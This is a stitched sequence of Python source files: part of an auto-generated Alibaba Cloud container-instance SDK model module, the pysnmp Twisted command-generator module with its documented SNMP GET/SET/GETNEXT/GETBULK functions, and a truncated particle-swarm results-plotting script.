{} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class DescribeContainerGroupsResponseContainerGroupsEciSecurityContext(TeaModel): def __init__(self, sysctls=None): self.sysctls = [] def validate(self): self.validate_required(self.sysctls, 'sysctls') if self.sysctls: for k in self.sysctls: if k : k.validate() def to_map(self): result = {} result['Sysctls'] = [] if self.sysctls is not None: for k in self.sysctls: result['Sysctls'].append(k.to_map() if k else None) else: result['Sysctls'] = None return result def from_map(self, map={}): self.sysctls = [] if map.get('Sysctls') is not None: for k in map.get('Sysctls'): temp_model = DescribeContainerGroupsResponseContainerGroupsEciSecurityContextSysctls() temp_model = temp_model.from_map(k) self.sysctls.append(temp_model) else: self.sysctls = None return self class DescribeContainerGroupsResponseContainerGroups(TeaModel): def __init__(self, container_group_id=None, container_group_name=None, region_id=None, zone_id=None, memory=None, cpu=None, v_switch_id=None, security_group_id=None, restart_policy=None, intranet_ip=None, status=None, internet_ip=None, creation_time=None, succeeded_time=None, eni_instance_id=None, instance_type=None, expired_time=None, failed_time=None, ram_role_name=None, ipv_6address=None, vpc_id=None, discount=None, resource_group_id=None, tenant_eni_instance_id=None, tenant_vswitch_id=None, tenant_security_group_id=None, spot_strategy=None, tags=None, events=None, containers=None, volumes=None, init_containers=None, host_aliases=None, dns_config=None, eci_security_context=None): self.container_group_id = container_group_id self.container_group_name = container_group_name self.region_id = region_id self.zone_id = zone_id self.memory = memory self.cpu = cpu self.v_switch_id = v_switch_id self.security_group_id = security_group_id self.restart_policy = restart_policy self.intranet_ip = intranet_ip self.status = status self.internet_ip = internet_ip self.creation_time = creation_time self.succeeded_time = succeeded_time self.eni_instance_id = eni_instance_id self.instance_type = instance_type self.expired_time = expired_time self.failed_time = failed_time self.ram_role_name = ram_role_name self.ipv_6address = ipv_6address self.vpc_id = vpc_id self.discount = discount self.resource_group_id = resource_group_id self.tenant_eni_instance_id = tenant_eni_instance_id self.tenant_vswitch_id = tenant_vswitch_id self.tenant_security_group_id = tenant_security_group_id self.spot_strategy = spot_strategy self.tags = [] self.events = [] self.containers = [] self.volumes = [] self.init_containers = [] self.host_aliases = [] self.dns_config = dns_config self.eci_security_context = eci_security_context def validate(self): self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.container_group_name, 'container_group_name') self.validate_required(self.region_id, 'region_id') self.validate_required(self.zone_id, 'zone_id') self.validate_required(self.memory, 'memory') self.validate_required(self.cpu, 'cpu') self.validate_required(self.v_switch_id, 'v_switch_id') self.validate_required(self.security_group_id, 'security_group_id') self.validate_required(self.restart_policy, 'restart_policy') self.validate_required(self.intranet_ip, 'intranet_ip') self.validate_required(self.status, 'status') self.validate_required(self.internet_ip, 'internet_ip') self.validate_required(self.creation_time, 'creation_time') self.validate_required(self.succeeded_time, 'succeeded_time') self.validate_required(self.eni_instance_id, 'eni_instance_id') self.validate_required(self.instance_type, 'instance_type') self.validate_required(self.expired_time, 'expired_time') self.validate_required(self.failed_time, 'failed_time') self.validate_required(self.ram_role_name, 'ram_role_name') self.validate_required(self.ipv_6address, 'ipv_6address') self.validate_required(self.vpc_id, 'vpc_id') self.validate_required(self.discount, 'discount') self.validate_required(self.resource_group_id, 'resource_group_id') self.validate_required(self.tenant_eni_instance_id, 'tenant_eni_instance_id') self.validate_required(self.tenant_vswitch_id, 'tenant_vswitch_id') self.validate_required(self.tenant_security_group_id, 'tenant_security_group_id') self.validate_required(self.spot_strategy, 'spot_strategy') self.validate_required(self.tags, 'tags') if self.tags: for k in self.tags: if k : k.validate() self.validate_required(self.events, 'events') if self.events: for k in self.events: if k : k.validate() self.validate_required(self.containers, 'containers') if self.containers: for k in self.containers: if k : k.validate() self.validate_required(self.volumes, 'volumes') if self.volumes: for k in self.volumes: if k : k.validate() self.validate_required(self.init_containers, 'init_containers') if self.init_containers: for k in self.init_containers: if k : k.validate() self.validate_required(self.host_aliases, 'host_aliases') if self.host_aliases: for k in self.host_aliases: if k : k.validate() self.validate_required(self.dns_config, 'dns_config') if self.dns_config: self.dns_config.validate() self.validate_required(self.eci_security_context, 'eci_security_context') if self.eci_security_context: self.eci_security_context.validate() def to_map(self): result = {} result['ContainerGroupId'] = self.container_group_id result['ContainerGroupName'] = self.container_group_name result['RegionId'] = self.region_id result['ZoneId'] = self.zone_id result['Memory'] = self.memory result['Cpu'] = self.cpu result['VSwitchId'] = self.v_switch_id result['SecurityGroupId'] = self.security_group_id result['RestartPolicy'] = self.restart_policy result['IntranetIp'] = self.intranet_ip result['Status'] = self.status result['InternetIp'] = self.internet_ip result['CreationTime'] = self.creation_time result['SucceededTime'] = self.succeeded_time result['EniInstanceId'] = self.eni_instance_id result['InstanceType'] = self.instance_type result['ExpiredTime'] = self.expired_time result['FailedTime'] = self.failed_time result['RamRoleName'] = self.ram_role_name result['Ipv6Address'] = self.ipv_6address result['VpcId'] = self.vpc_id result['Discount'] = self.discount result['ResourceGroupId'] = self.resource_group_id result['TenantEniInstanceId'] = self.tenant_eni_instance_id result['TenantVSwitchId'] = self.tenant_vswitch_id result['TenantSecurityGroupId'] = self.tenant_security_group_id result['SpotStrategy'] = self.spot_strategy result['Tags'] = [] if self.tags is not None: for k in self.tags: result['Tags'].append(k.to_map() if k else None) else: result['Tags'] = None result['Events'] = [] if self.events is not None: for k in self.events: result['Events'].append(k.to_map() if k else None) else: result['Events'] = None result['Containers'] = [] if self.containers is not None: for k in self.containers: result['Containers'].append(k.to_map() if k else None) else: result['Containers'] = None result['Volumes'] = [] if self.volumes is not None: for k in self.volumes: result['Volumes'].append(k.to_map() if k else None) else: result['Volumes'] = None result['InitContainers'] = [] if self.init_containers is not None: for k in self.init_containers: result['InitContainers'].append(k.to_map() if k else None) else: result['InitContainers'] = None result['HostAliases'] = [] if self.host_aliases is not None: for k in self.host_aliases: result['HostAliases'].append(k.to_map() if k else None) else: result['HostAliases'] = None if self.dns_config is not None: result['DnsConfig'] = self.dns_config.to_map() else: result['DnsConfig'] = None if self.eci_security_context is not None: result['EciSecurityContext'] = self.eci_security_context.to_map() else: result['EciSecurityContext'] = None return result def from_map(self, map={}): self.container_group_id = map.get('ContainerGroupId') self.container_group_name = map.get('ContainerGroupName') self.region_id = map.get('RegionId') self.zone_id = map.get('ZoneId') self.memory = map.get('Memory') self.cpu = map.get('Cpu') self.v_switch_id = map.get('VSwitchId') self.security_group_id = map.get('SecurityGroupId') self.restart_policy = map.get('RestartPolicy') self.intranet_ip = map.get('IntranetIp') self.status = map.get('Status') self.internet_ip = map.get('InternetIp') self.creation_time = map.get('CreationTime') self.succeeded_time = map.get('SucceededTime') self.eni_instance_id = map.get('EniInstanceId') self.instance_type = map.get('InstanceType') self.expired_time = map.get('ExpiredTime') self.failed_time = map.get('FailedTime') self.ram_role_name = map.get('RamRoleName') self.ipv_6address = map.get('Ipv6Address') self.vpc_id = map.get('VpcId') self.discount = map.get('Discount') self.resource_group_id = map.get('ResourceGroupId') self.tenant_eni_instance_id = map.get('TenantEniInstanceId') self.tenant_vswitch_id = map.get('TenantVSwitchId') self.tenant_security_group_id = map.get('TenantSecurityGroupId') self.spot_strategy = map.get('SpotStrategy') self.tags = [] if map.get('Tags') is not None: for k in map.get('Tags'): temp_model = DescribeContainerGroupsResponseContainerGroupsTags() temp_model = temp_model.from_map(k) self.tags.append(temp_model) else: self.tags = None self.events = [] if map.get('Events') is not None: for k in map.get('Events'): temp_model = DescribeContainerGroupsResponseContainerGroupsEvents() temp_model = temp_model.from_map(k) self.events.append(temp_model) else: self.events = None self.containers = [] if map.get('Containers') is not None: for k in map.get('Containers'): temp_model = DescribeContainerGroupsResponseContainerGroupsContainers() temp_model = temp_model.from_map(k) self.containers.append(temp_model) else: self.containers = None self.volumes = [] if map.get('Volumes') is not None: for k in map.get('Volumes'): temp_model = DescribeContainerGroupsResponseContainerGroupsVolumes() temp_model = temp_model.from_map(k) self.volumes.append(temp_model) else: self.volumes = None self.init_containers = [] if map.get('InitContainers') is not None: for k in map.get('InitContainers'): temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainers() temp_model = temp_model.from_map(k) self.init_containers.append(temp_model) else: self.init_containers = None self.host_aliases = [] if map.get('HostAliases') is not None: for k in map.get('HostAliases'): temp_model = DescribeContainerGroupsResponseContainerGroupsHostAliases() temp_model = temp_model.from_map(k) self.host_aliases.append(temp_model) else: self.host_aliases = None if map.get('DnsConfig') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsDnsConfig() self.dns_config = temp_model.from_map(map['DnsConfig']) else: self.dns_config = None if map.get('EciSecurityContext') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsEciSecurityContext() self.eci_security_context = temp_model.from_map(map['EciSecurityContext']) else: self.eci_security_context = None return self class DeleteContainerGroupRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, client_token=None): self.region_id = region_id self.container_group_id = container_group_id self.client_token = client_token def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['ClientToken'] = self.client_token return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.client_token = map.get('ClientToken') return self class DeleteContainerGroupResponse(TeaModel): def __init__(self, request_id=None): self.request_id = request_id def validate(self): self.validate_required(self.request_id, 'request_id') def to_map(self): result = {} result['RequestId'] = self.request_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') return self

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c51d0684da4363cd6456e177110a64663958ddd4

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py

Python

build/piman.app/pysnmp/hlapi/twisted/cmdgen.py

jackgisel/team-athens

91e2aa810c0064f8b6b39ee53c3b05f037e0aeb0

[ "Apache-2.0" ]

null

build/piman.app/pysnmp/hlapi/twisted/cmdgen.py

jackgisel/team-athens

91e2aa810c0064f8b6b39ee53c3b05f037e0aeb0

[ "Apache-2.0" ]

null

build/piman.app/pysnmp/hlapi/twisted/cmdgen.py

jackgisel/team-athens

91e2aa810c0064f8b6b39ee53c3b05f037e0aeb0

[ "Apache-2.0" ]

null

# # This file is part of pysnmp software. # # Copyright (c) 2005-2019, Ilya Etingof <etingof@gmail.com> # License: http://snmplabs.com/pysnmp/license.html # import sys from pysnmp.smi.rfc1902 import * from pysnmp.hlapi.auth import * from pysnmp.hlapi.context import * from pysnmp.hlapi.lcd import * from pysnmp.hlapi.varbinds import * from pysnmp.hlapi.twisted.transport import * from pysnmp.entity.rfc3413 import cmdgen from pysnmp.proto import errind from twisted.internet.defer import Deferred from twisted.python.failure import Failure __all__ = ['getCmd', 'nextCmd', 'setCmd', 'bulkCmd', 'isEndOfMib'] vbProcessor = CommandGeneratorVarBinds() lcd = CommandGeneratorLcdConfigurator() isEndOfMib = lambda x: not cmdgen.getNextVarBinds(x)[1] def getCmd(snmpEngine, authData, transportTarget, contextData, *varBinds, **options): """Performs SNMP GET query. Based on passed parameters, prepares SNMP GET packet (:RFC:`1905#section-4.2.1`) and schedules its transmission by :mod:`twisted` I/O framework at a later point of time. Parameters ---------- snmpEngine : :class:`~pysnmp.hlapi.SnmpEngine` Class instance representing SNMP engine. authData : :class:`~pysnmp.hlapi.CommunityData` or :class:`~pysnmp.hlapi.UsmUserData` Class instance representing SNMP credentials. transportTarget : :class:`~pysnmp.hlapi.twisted.UdpTransportTarget` or :class:`~pysnmp.hlapi.twisted.Udp6TransportTarget` Class instance representing transport type along with SNMP peer address. contextData : :class:`~pysnmp.hlapi.ContextData` Class instance representing SNMP ContextEngineId and ContextName values. \*varBinds : :class:`~pysnmp.smi.rfc1902.ObjectType` One or more class instances representing MIB variables to place into SNMP request. Other Parameters ---------------- \*\*options : Request options: * `lookupMib` - load MIB and resolve response MIB variables at the cost of slightly reduced performance. Default is `True`. Returns ------- deferred : :class:`~twisted.internet.defer.Deferred` Twisted Deferred object representing work-in-progress. User is expected to attach his own `success` and `error` callback functions to the Deferred object though :meth:`~twisted.internet.defer.Deferred.addCallbacks` method. Raises ------ PySnmpError Or its derivative indicating that an error occurred while performing SNMP operation. Notes ----- User `success` callback is called with the following tuple as its first argument: * errorStatus (str) : True value indicates SNMP PDU error. * errorIndex (int) : Non-zero value refers to `varBinds[errorIndex-1]` * varBinds (tuple) : A sequence of :class:`~pysnmp.smi.rfc1902.ObjectType` class instances representing MIB variables returned in SNMP response. User `error` callback is called with `errorIndication` object wrapped in :class:`~twisted.python.failure.Failure` object. Examples -------- >>> from twisted.internet.task import react >>> from pysnmp.hlapi.twisted import * >>> >>> def success(args): ... (errorStatus, errorIndex, varBinds) = args ... print(errorStatus, errorIndex, varBind) ... >>> def failure(errorIndication): ... print(errorIndication) ... >>> def run(reactor): ... d = getCmd(SnmpEngine(), ... CommunityData('public'), ... UdpTransportTarget(('demo.snmplabs.com', 161)), ... ContextData(), ... ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0))) ... d.addCallback(success).addErrback(failure) ... return d ... >>> react(run) (0, 0, [ObjectType(ObjectIdentity(ObjectName('1.3.6.1.2.1.1.1.0')), DisplayString('SunOS zeus.snmplabs.com 4.1.3_U1 1 sun4m'))]) >>> """ def __cbFun(snmpEngine, sendRequestHandle, errorIndication, errorStatus, errorIndex, varBinds, cbCtx): lookupMib, deferred = cbCtx if errorIndication: deferred.errback(Failure(errorIndication)) else: try: varBindsUnmade = vbProcessor.unmakeVarBinds(snmpEngine, varBinds, lookupMib) except Exception: ex = sys.exc_info()[1] deferred.errback(Failure(ex)) else: deferred.callback((errorStatus, errorIndex, varBindsUnmade)) addrName, paramsName = lcd.configure( snmpEngine, authData, transportTarget, contextData.contextName) deferred = Deferred() cmdgen.GetCommandGenerator().sendVarBinds( snmpEngine, addrName, contextData.contextEngineId, contextData.contextName, vbProcessor.makeVarBinds(snmpEngine, varBinds), __cbFun, (options.get('lookupMib', True), deferred) ) return deferred def setCmd(snmpEngine, authData, transportTarget, contextData, *varBinds, **options): """Performs SNMP SET query. Based on passed parameters, prepares SNMP SET packet (:RFC:`1905#section-4.2.5`) and schedules its transmission by :mod:`twisted` I/O framework at a later point of time. Parameters ---------- snmpEngine : :class:`~pysnmp.hlapi.SnmpEngine` Class instance representing SNMP engine. authData : :class:`~pysnmp.hlapi.CommunityData` or :class:`~pysnmp.hlapi.UsmUserData` Class instance representing SNMP credentials. transportTarget : :class:`~pysnmp.hlapi.twisted.UdpTransportTarget` or :class:`~pysnmp.hlapi.twisted.Udp6TransportTarget` Class instance representing transport type along with SNMP peer address. contextData : :class:`~pysnmp.hlapi.ContextData` Class instance representing SNMP ContextEngineId and ContextName values. \*varBinds : :class:`~pysnmp.smi.rfc1902.ObjectType` One or more class instances representing MIB variables to place into SNMP request. Other Parameters ---------------- \*\*options : Request options: * `lookupMib` - load MIB and resolve response MIB variables at the cost of slightly reduced performance. Default is `True`. Returns ------- deferred : :class:`~twisted.internet.defer.Deferred` Twisted Deferred object representing work-in-progress. User is expected to attach his own `success` and `error` callback functions to the Deferred object though :meth:`~twisted.internet.defer.Deferred.addCallbacks` method. Raises ------ PySnmpError Or its derivative indicating that an error occurred while performing SNMP operation. Notes ----- User `success` callback is called with the following tuple as its first argument: * errorStatus (str) : True value indicates SNMP PDU error. * errorIndex (int) : Non-zero value refers to `varBinds[errorIndex-1]` * varBinds (tuple) : A sequence of :class:`~pysnmp.smi.rfc1902.ObjectType` class instances representing MIB variables returned in SNMP response. User `error` callback is called with `errorIndication` object wrapped in :class:`~twisted.python.failure.Failure` object. Examples -------- >>> from twisted.internet.task import react >>> from pysnmp.hlapi.twisted import * >>> >>> def success(args): ... (errorStatus, errorIndex, varBinds) = args ... print(errorStatus, errorIndex, varBind) ... >>> def failure(errorIndication): ... print(errorIndication) ... >>> def run(reactor): ... d = setCmd(SnmpEngine(), ... CommunityData('public'), ... UdpTransportTarget(('demo.snmplabs.com', 161)), ... ContextData(), ... ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0), 'Linux i386') ... d.addCallback(success).addErrback(failure) ... return d ... >>> react(run) (0, 0, [ObjectType(ObjectIdentity(ObjectName('1.3.6.1.2.1.1.1.0')), DisplayString('Linux i386'))]) >>> """ def __cbFun(snmpEngine, sendRequestHandle, errorIndication, errorStatus, errorIndex, varBinds, cbCtx): lookupMib, deferred = cbCtx if errorIndication: deferred.errback(Failure(errorIndication)) else: try: varBindsUnmade = vbProcessor.unmakeVarBinds(snmpEngine, varBinds, lookupMib) except Exception: ex = sys.exc_info()[1] deferred.errback(Failure(ex)) else: deferred.callback((errorStatus, errorIndex, varBindsUnmade)) addrName, paramsName = lcd.configure( snmpEngine, authData, transportTarget, contextData.contextName) deferred = Deferred() cmdgen.SetCommandGenerator().sendVarBinds( snmpEngine, addrName, contextData.contextEngineId, contextData.contextName, vbProcessor.makeVarBinds(snmpEngine, varBinds), __cbFun, (options.get('lookupMib', True), deferred) ) return deferred def nextCmd(snmpEngine, authData, transportTarget, contextData, *varBinds, **options): """Performs SNMP GETNEXT query. Based on passed parameters, prepares SNMP GETNEXT packet (:RFC:`1905#section-4.2.2`) and schedules its transmission by :mod:`twisted` I/O framework at a later point of time. Parameters ---------- snmpEngine : :class:`~pysnmp.hlapi.SnmpEngine` Class instance representing SNMP engine. authData : :class:`~pysnmp.hlapi.CommunityData` or :class:`~pysnmp.hlapi.UsmUserData` Class instance representing SNMP credentials. transportTarget : :class:`~pysnmp.hlapi.twisted.UdpTransportTarget` or :class:`~pysnmp.hlapi.twisted.Udp6TransportTarget` Class instance representing transport type along with SNMP peer address. contextData : :class:`~pysnmp.hlapi.ContextData` Class instance representing SNMP ContextEngineId and ContextName values. \*varBinds : :class:`~pysnmp.smi.rfc1902.ObjectType` One or more class instances representing MIB variables to place into SNMP request. Other Parameters ---------------- \*\*options : Request options: * `lookupMib` - load MIB and resolve response MIB variables at the cost of slightly reduced performance. Default is `True`. * `ignoreNonIncreasingOid` - continue iteration even if response MIB variables (OIDs) are not greater then request MIB variables. Be aware that setting it to `True` may cause infinite loop between SNMP management and agent applications. Default is `False`. Returns ------- deferred : :class:`~twisted.internet.defer.Deferred` Twisted Deferred object representing work-in-progress. User is expected to attach his own `success` and `error` callback functions to the Deferred object though :meth:`~twisted.internet.defer.Deferred.addCallbacks` method. Raises ------ PySnmpError Or its derivative indicating that an error occurred while performing SNMP operation. Notes ----- User `success` callback is called with the following tuple as its first argument: * errorStatus (str) : True value indicates SNMP PDU error. * errorIndex (int) : Non-zero value refers to `varBinds[errorIndex-1]` * varBinds (tuple) : A sequence of sequences (e.g. 2-D array) of :py:class:`~pysnmp.smi.rfc1902.ObjectType` class instances representing a table of MIB variables returned in SNMP response. Inner sequences represent table rows and ordered exactly the same as `varBinds` in request. Response to GETNEXT always contain a single row. User `error` callback is called with `errorIndication` object wrapped in :class:`~twisted.python.failure.Failure` object. Examples -------- >>> from twisted.internet.task import react >>> from pysnmp.hlapi.twisted import * >>> >>> def success(args): ... (errorStatus, errorIndex, varBindTable) = args ... print(errorStatus, errorIndex, varBindTable) ... >>> def failure(errorIndication): ... print(errorIndication) ... >>> def run(reactor): ... d = nextCmd(SnmpEngine(), ... CommunityData('public'), ... UdpTransportTarget(('demo.snmplabs.com', 161)), ... ContextData(), ... ObjectType(ObjectIdentity('SNMPv2-MIB', 'system')) ... d.addCallback(success).addErrback(failure) ... return d ... >>> react(run) (0, 0, [[ObjectType(ObjectIdentity(ObjectName('1.3.6.1.2.1.1.1.0')), DisplayString('SunOS zeus.snmplabs.com 4.1.3_U1 1 sun4m'))]]) >>> """ def __cbFun(snmpEngine, sendRequestHandle, errorIndication, errorStatus, errorIndex, varBindTable, cbCtx): lookupMib, deferred = cbCtx if (options.get('ignoreNonIncreasingOid', False) and errorIndication and isinstance(errorIndication, errind.OidNotIncreasing)): errorIndication = None if errorIndication: deferred.errback(Failure(errorIndication)) else: try: varBindsUnmade = [vbProcessor.unmakeVarBinds(snmpEngine, varBindTableRow, lookupMib) for varBindTableRow in varBindTable] except Exception: ex = sys.exc_info()[1] deferred.errback(Failure(ex)) else: deferred.callback((errorStatus, errorIndex, varBindsUnmade)) addrName, paramsName = lcd.configure( snmpEngine, authData, transportTarget, contextData.contextName) deferred = Deferred() cmdgen.NextCommandGenerator().sendVarBinds( snmpEngine, addrName, contextData.contextEngineId, contextData.contextName, vbProcessor.makeVarBinds(snmpEngine, varBinds), __cbFun, (options.get('lookupMib', True), deferred) ) return deferred def bulkCmd(snmpEngine, authData, transportTarget, contextData, nonRepeaters, maxRepetitions, *varBinds, **options): """Performs SNMP GETBULK query. Based on passed parameters, prepares SNMP GETNEXT packet (:RFC:`1905#section-4.2.3`) and schedules its transmission by :mod:`twisted` I/O framework at a later point of time. Parameters ---------- snmpEngine : :class:`~pysnmp.hlapi.SnmpEngine` Class instance representing SNMP engine. authData : :class:`~pysnmp.hlapi.CommunityData` or :class:`~pysnmp.hlapi.UsmUserData` Class instance representing SNMP credentials. transportTarget : :class:`~pysnmp.hlapi.twisted.UdpTransportTarget` or :class:`~pysnmp.hlapi.twisted.Udp6TransportTarget` Class instance representing transport type along with SNMP peer address. contextData : :class:`~pysnmp.hlapi.ContextData` Class instance representing SNMP ContextEngineId and ContextName values. nonRepeaters : int One MIB variable is requested in response for the first `nonRepeaters` MIB variables in request. maxRepetitions : int `maxRepetitions` MIB variables are requested in response for each of the remaining MIB variables in the request (e.g. excluding `nonRepeaters`). Remote SNMP engine may choose lesser value than requested. \*varBinds : :class:`~pysnmp.smi.rfc1902.ObjectType` One or more class instances representing MIB variables to place into SNMP request. Other Parameters ---------------- \*\*options : Request options: * `lookupMib` - load MIB and resolve response MIB variables at the cost of slightly reduced performance. Default is `True`. * `ignoreNonIncreasingOid` - continue iteration even if response MIB variables (OIDs) are not greater then request MIB variables. Be aware that setting it to `True` may cause infinite loop between SNMP management and agent applications. Default is `False`. Returns ------- deferred : :class:`~twisted.internet.defer.Deferred` Twisted Deferred object representing work-in-progress. User is expected to attach his own `success` and `error` callback functions to the Deferred object though :meth:`~twisted.internet.defer.Deferred.addCallbacks` method. Raises ------ PySnmpError Or its derivative indicating that an error occurred while performing SNMP operation. Notes ----- User `success` callback is called with the following tuple as its first argument: * errorStatus (str) : True value indicates SNMP PDU error. * errorIndex (int) : Non-zero value refers to `varBinds[errorIndex-1]` * varBindTable (tuple): A sequence of sequences (e.g. 2-D array) of :py:class:`~pysnmp.smi.rfc1902.ObjectType` class instances representing a table of MIB variables returned in SNMP response, with up to ``maxRepetitions`` rows, i.e. ``len(varBindTable) <= maxRepetitions``. For ``0 <= i < len(varBindTable)`` and ``0 <= j < len(varBinds)``, ``varBindTable[i][j]`` represents: - For non-repeaters (``j < nonRepeaters``), the first lexicographic successor of ``varBinds[j]``, regardless the value of ``i``, or an :py:class:`~pysnmp.smi.rfc1902.ObjectType` instance with the :py:obj:`~pysnmp.proto.rfc1905.endOfMibView` value if no such successor exists; - For repeaters (``j >= nonRepeaters``), the ``i``-th lexicographic successor of ``varBinds[j]``, or an :py:class:`~pysnmp.smi.rfc1902.ObjectType` instance with the :py:obj:`~pysnmp.proto.rfc1905.endOfMibView` value if no such successor exists. See :rfc:`3416#section-4.2.3` for details on the underlying ``GetBulkRequest-PDU`` and the associated ``GetResponse-PDU``, such as specific conditions under which the server may truncate the response, causing ``varBindTable`` to have less than ``maxRepetitions`` rows. User `error` callback is called with `errorIndication` object wrapped in :class:`~twisted.python.failure.Failure` object. Examples -------- >>> from twisted.internet.task import react >>> from pysnmp.hlapi.twisted import * >>> >>> def success(args): ... (errorStatus, errorIndex, varBindTable) = args ... print(errorStatus, errorIndex, varBindTable) ... >>> def failure(errorIndication): ... print(errorIndication) ... >>> def run(reactor): ... d = bulkCmd(SnmpEngine(), ... CommunityData('public'), ... UdpTransportTarget(('demo.snmplabs.com', 161)), ... ContextData(), ... 0, 2, ... ObjectType(ObjectIdentity('SNMPv2-MIB', 'system')) ... d.addCallback(success).addErrback(failure) ... return d ... >>> react(run) (0, 0, [[ObjectType(ObjectIdentity(ObjectName('1.3.6.1.2.1.1.1.0')), DisplayString('SunOS zeus.snmplabs.com 4.1.3_U1 1 sun4m'))], [ObjectType(ObjectIdentity(ObjectName('1.3.6.1.2.1.1.2.0')), ObjectIdentifier('1.3.6.1.4.1.424242.1.1'))]]) >>> """ def __cbFun(snmpEngine, sendRequestHandle, errorIndication, errorStatus, errorIndex, varBindTable, cbCtx): lookupMib, deferred = cbCtx if options.get('ignoreNonIncreasingOid', False) and errorIndication and \ isinstance(errorIndication, errind.OidNotIncreasing): errorIndication = None if errorIndication: deferred.errback(Failure(errorIndication)) else: try: varBindsUnmade = [vbProcessor.unmakeVarBinds(snmpEngine, varBindTableRow, lookupMib) for varBindTableRow in varBindTable] except Exception: ex = sys.exc_info()[1] deferred.errback(Failure(ex)) else: deferred.callback((errorStatus, errorIndex, varBindsUnmade)) addrName, paramsName = lcd.configure( snmpEngine, authData, transportTarget, contextData.contextName) deferred = Deferred() cmdgen.BulkCommandGenerator().sendVarBinds( snmpEngine, addrName, contextData.contextEngineId, contextData.contextName, nonRepeaters, maxRepetitions, vbProcessor.makeVarBinds(snmpEngine, varBinds), __cbFun, (options.get('lookupMib', True), deferred) ) return deferred

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7

c548b596be5b903e276b1a2a262f293110545231

6,765

py

Python

Base_PSO/Visualization/mean_value_second_app.py

NuriaValls/PSO-2RW-Applications

129b75ec72fcb32bc9bf43c0ad3bf55c44423092

[ "MIT" ]

null

Base_PSO/Visualization/mean_value_second_app.py

NuriaValls/PSO-2RW-Applications

129b75ec72fcb32bc9bf43c0ad3bf55c44423092

[ "MIT" ]

null

Base_PSO/Visualization/mean_value_second_app.py

NuriaValls/PSO-2RW-Applications

129b75ec72fcb32bc9bf43c0ad3bf55c44423092

[ "MIT" ]

null

import matplotlib.pyplot as plt from matplotlib.animation import FuncAnimation import numpy as np import math from scipy.stats import gaussian_kde file = open('first_approach_data_aux_1.txt') fit1 = [] ite1 = [] tim1 = [] fit2 = [] ite2 = [] tim2 = [] fit3 = [] ite3 = [] tim3 = [] i = 0 for line in file: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i==0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i=1 elif i==1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i==2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file1 = open('first_approach_data_aux_2.txt') for line in file1: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file2 = open('first_approach_data_aux_3.txt') for line in file2: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file3 = open('first_approach_data_aux_4.txt') for line in file3: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file4 = open('first_approach_data_aux_5.txt') for line in file4: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file5 = open('first_approach_data_aux_6.txt') for line in file5: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file6 = open('first_approach_data_aux_7.txt') for line in file6: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file7 = open('first_approach_data_aux_8.txt') for line in file7: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 file8 = open('first_approach_data_aux_9.txt') for line in file8: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) 